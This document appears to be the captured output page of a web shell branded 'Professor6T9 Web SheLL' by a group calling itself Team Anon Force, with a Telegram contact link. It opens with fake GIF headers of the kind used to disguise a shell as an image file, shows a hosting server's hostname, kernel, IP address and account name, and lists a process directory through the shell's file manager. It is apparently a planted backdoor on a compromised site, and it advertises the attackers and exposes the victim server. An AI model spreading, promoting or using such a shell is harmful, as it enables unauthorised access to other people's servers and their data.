GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Linux premium296.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
 LiteSpeed
 66.29.137.115
Name Type Size Owner/Group Permission Last Modified Actions
. dir - moonrcjl/moonrcjl 0555 2025-11-21 02:26:35
.. dir - root/root 0555 2025-06-29 07:18:58
attr dir - moonrcjl/moonrcjl 0555 2025-11-21 02:27:07
cwd link - root/root 0755 2025-11-20 08:37:12
fd dir - moonrcjl/moonrcjl 0500 2025-11-21 02:27:07
fdinfo dir - moonrcjl/moonrcjl 0500 2025-11-21 02:27:07
map_files dir - moonrcjl/moonrcjl 0500 2025-11-21 02:27:07
net dir - moonrcjl/moonrcjl 0555 2025-11-21 02:27:07
ns dir - moonrcjl/moonrcjl 0511 2025-11-21 02:27:07
root link - root/root 0755 2025-08-02 07:28:18
task dir - moonrcjl/moonrcjl 0555 2025-11-21 02:26:39
autogroup text/plain 0 B moonrcjl/moonrcjl 0644 2025-11-21 02:27:07
auxv application/octet-stream 0 B moonrcjl/moonrcjl 0400 2025-11-21 02:27:07
cgroup text/plain 0 B moonrcjl/moonrcjl 0444 2025-11-21 02:27:07
clear_refs 0 B moonrcjl/moonrcjl 0200 2025-11-21 02:27:07
cmdline application/octet-stream 0 B moonrcjl/moonrcjl 0444 2025-11-21 02:26:35
comm text/plain 0 B moonrcjl/moonrcjl 0644 2025-11-21 02:26:45
coredump_filter text/plain 0 B moonrcjl/moonrcjl 0644 2025-11-21 02:27:07
cpu_resctrl_groups text/plain 0 B moonrcjl/moonrcjl 0444 2025-11-21 02:27:07
cpuset application/octet-stream 0 B moonrcjl/moonrcjl 0444 2025-11-21 02:27:06
environ application/octet-stream 0 B moonrcjl/moonrcjl 0400 2025-11-21 02:26:45
exe application/x-executable 6.11 MB root/linksafe 0755 2025-09-30 04:05:21
gid_map text/plain 0 B moonrcjl/moonrcjl 0644 2025-11-21 02:27:07
io text/plain 0 B moonrcjl/moonrcjl 0444 2025-11-21 02:27:06
limits text/plain 0 B moonrcjl/moonrcjl 0444 2025-11-21 02:27:07
loginuid text/plain 0 B moonrcjl/moonrcjl 0644 2025-11-21 02:27:07
maps text/plain 0 B moonrcjl/moonrcjl 0444 2025-11-21 02:27:07
mem 0 B moonrcjl/moonrcjl 0600 2025-11-21 02:27:07
mountinfo text/plain 0 B moonrcjl/moonrcjl 0444 2025-11-21 02:27:07
mounts text/plain 0 B moonrcjl/moonrcjl 0444 2025-11-21 02:27:07
mountstats text/plain 0 B moonrcjl/moonrcjl 0400 2025-11-21 02:27:07
numa_maps text/plain 0 B moonrcjl/moonrcjl 0444 2025-11-21 02:27:07
oom_adj application/octet-stream 0 B moonrcjl/moonrcjl 0644 2025-11-21 02:27:07
oom_score text/plain 0 B moonrcjl/moonrcjl 0444 2025-11-21 02:27:07
oom_score_adj application/octet-stream 0 B moonrcjl/moonrcjl 0644 2025-11-21 02:27:07
pagemap application/octet-stream 0 B moonrcjl/moonrcjl 0400 2025-11-21 02:27:07
patch_state text/plain 0 B moonrcjl/moonrcjl 0400 2025-11-21 02:27:07
personality text/plain 0 B moonrcjl/moonrcjl 0400 2025-11-21 02:27:07
projid_map text/plain 0 B moonrcjl/moonrcjl 0644 2025-11-21 02:27:07
sched text/plain 0 B moonrcjl/moonrcjl 0644 2025-11-21 02:27:07
schedstat text/plain 0 B moonrcjl/moonrcjl 0444 2025-11-21 02:27:06
sessionid text/plain 0 B moonrcjl/moonrcjl 0444 2025-11-21 02:27:07
setgroups text/plain 0 B moonrcjl/moonrcjl 0644 2025-11-21 02:27:07
smaps text/plain 0 B moonrcjl/moonrcjl 0444 2025-11-21 02:27:07
smaps_rollup text/plain 0 B moonrcjl/moonrcjl 0444 2025-11-21 02:27:06
stack 0 B moonrcjl/moonrcjl 0400 2025-11-21 02:27:07
stat text/plain 0 B moonrcjl/moonrcjl 0444 2025-11-21 02:26:37
statm text/plain 0 B moonrcjl/moonrcjl 0444 2025-11-21 02:26:45
status text/plain 0 B moonrcjl/moonrcjl 0444 2025-11-21 02:26:36
syscall text/plain 0 B moonrcjl/moonrcjl 0400 2025-11-21 02:27:07
timens_offsets text/plain 0 B moonrcjl/moonrcjl 0644 2025-11-21 02:27:07
timers application/x-empty 0 B moonrcjl/moonrcjl 0444 2025-11-21 02:27:07
timerslack_ns 0 B moonrcjl/moonrcjl 0666 2025-11-21 02:27:07
uid_map text/plain 0 B moonrcjl/moonrcjl 0644 2025-11-21 02:27:07
wchan application/octet-stream 0 B moonrcjl/moonrcjl 0444 2025-11-21 02:27:07
© Professor6T9